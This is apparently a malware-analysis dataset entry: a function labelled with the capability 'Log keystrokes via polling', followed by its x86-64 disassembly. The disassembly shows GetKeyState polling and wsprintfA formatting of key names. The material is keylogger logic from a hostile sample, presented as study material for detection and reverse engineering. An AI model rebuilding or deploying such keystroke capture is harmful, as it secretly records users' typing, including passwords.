Function at 0x228dc60
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x50
mov ecx, setsockopt
call fcn.02290350
mov rbp, rax
xor eax, eax
cmp dword [0x022b3ba0], eax
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov dword [rbp + 0x10], eax
je 0x228df06
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
lea rbx, [0x022b31e0]
lea r15, str._esc_
nop dword [rax]
call fcn.0228db20
test eax, eax
je 0x228dcd5
lea rcx, [0x022a7330]
call fcn.0228da50
mov rcx, qword [0x022b31d0]
test rcx, rcx
je 0x228dd08
mov dword [0x022b31d8], 0x3c
mov rax, qword [rcx]
lea r9, [0x022b31d8]
mov r8, rbx
mov edx, 0x18
mov dword [rsp + 0x20], 0
call qword [rax + 0x50]
xor r14d, r14d
cmp dword [0x022b31d8], r14d
mov dword [rsp + 0x60], r14d
jle 0x228deb2
xor r13d, r13d
xor ebx, ebx
lea r12, [0x022afd8c]
lea r14, [0x022b31e0]
mov eax, dword [r13 + r14]
dec eax
cmp eax, dword [r12]
jne 0x228de7e
test byte [r13 + r14 + 4], 0x80
je 0x228de4d
cmp ebx, 0x39
jne 0x228dd7e
lea ecx, [rbx - 0x25]
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x228dd71
cmp ax, 1
je 0x228dd71
xor eax, eax
mov dword [0x022b3788], eax
jmp 0x228dd96
mov eax, 1
mov dword [0x022b3788], eax
jmp 0x228dd96
cmp ebx, 0x29
je 0x228de24
cmp ebx, 0x35
je 0x228de24
mov eax, dword [0x022b3788]
cmp dword [0x022b31dc], 0
je 0x228dde3
movsxd rsi, ebx
shl rsi, 6
lea rdi, [rsi + r15 + 0x14]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x228ddbd
mov r9, rdi
jmp 0x228de0f
cmp dword [0x022b3788], 0
je 0x228dddd
lea rdi, [rsi + r15 + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x228dddd
mov r9, rdi
jmp 0x228de0f
lea r9, [rsi + r15]
jmp 0x228de0f
test eax, eax
je 0x228de05
movsxd rax, ebx
shl rax, 6
lea rdi, [rax + r15 + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x228de05
mov r9, rdi
jmp 0x228de0f
movsxd r9, ebx
shl r9, 6
add r9, r15
lea rdx, [0x022a7340]
mov r8, rbp
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfA]
jmp 0x228de7e
movsxd r9, ebx
lea rdx, [0x022a7338]
mov r8, rbp
shl r9, 6
mov rcx, rbp
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfA]
mov dword [0x022b31dc], 1
jmp 0x228de7e
cmp ebx, 0x29
je 0x228de57
cmp ebx, 0x35
jne 0x228de7e
movsxd r9, ebx
lea rdx, str._s_s
mov r8, rbp
shl r9, 6
mov rcx, rbp
add r9, r15
call qword [sym.imp.USER32.dll_wsprintfA]
mov dword [0x022b31dc], 0
inc ebx
add r12, 0x40
cmp ebx, 0x66
jl 0x228dd30
mov r14d, dword [rsp + 0x60]
add r13, 0x18
inc r14d
cmp r14d, dword [0x022b31d8]
mov dword [rsp + 0x60], r14d
jl 0x228dd20
lea rbx, [0x022b31e0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x228ded6
mov rcx, rbp
call fcn.0228da50
xor r11d, r11d
mov qword [rbp], r11
mov qword [rbp + 8], r11
mov dword [rbp + 0x10], r11d
cmp dword [0x022b3ba0], 0
jne 0x228dcc0
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
test rbp, rbp
je 0x228df13
mov rcx, rbp
call fcn.02290408
add rsp, 0x50
pop rbp
ret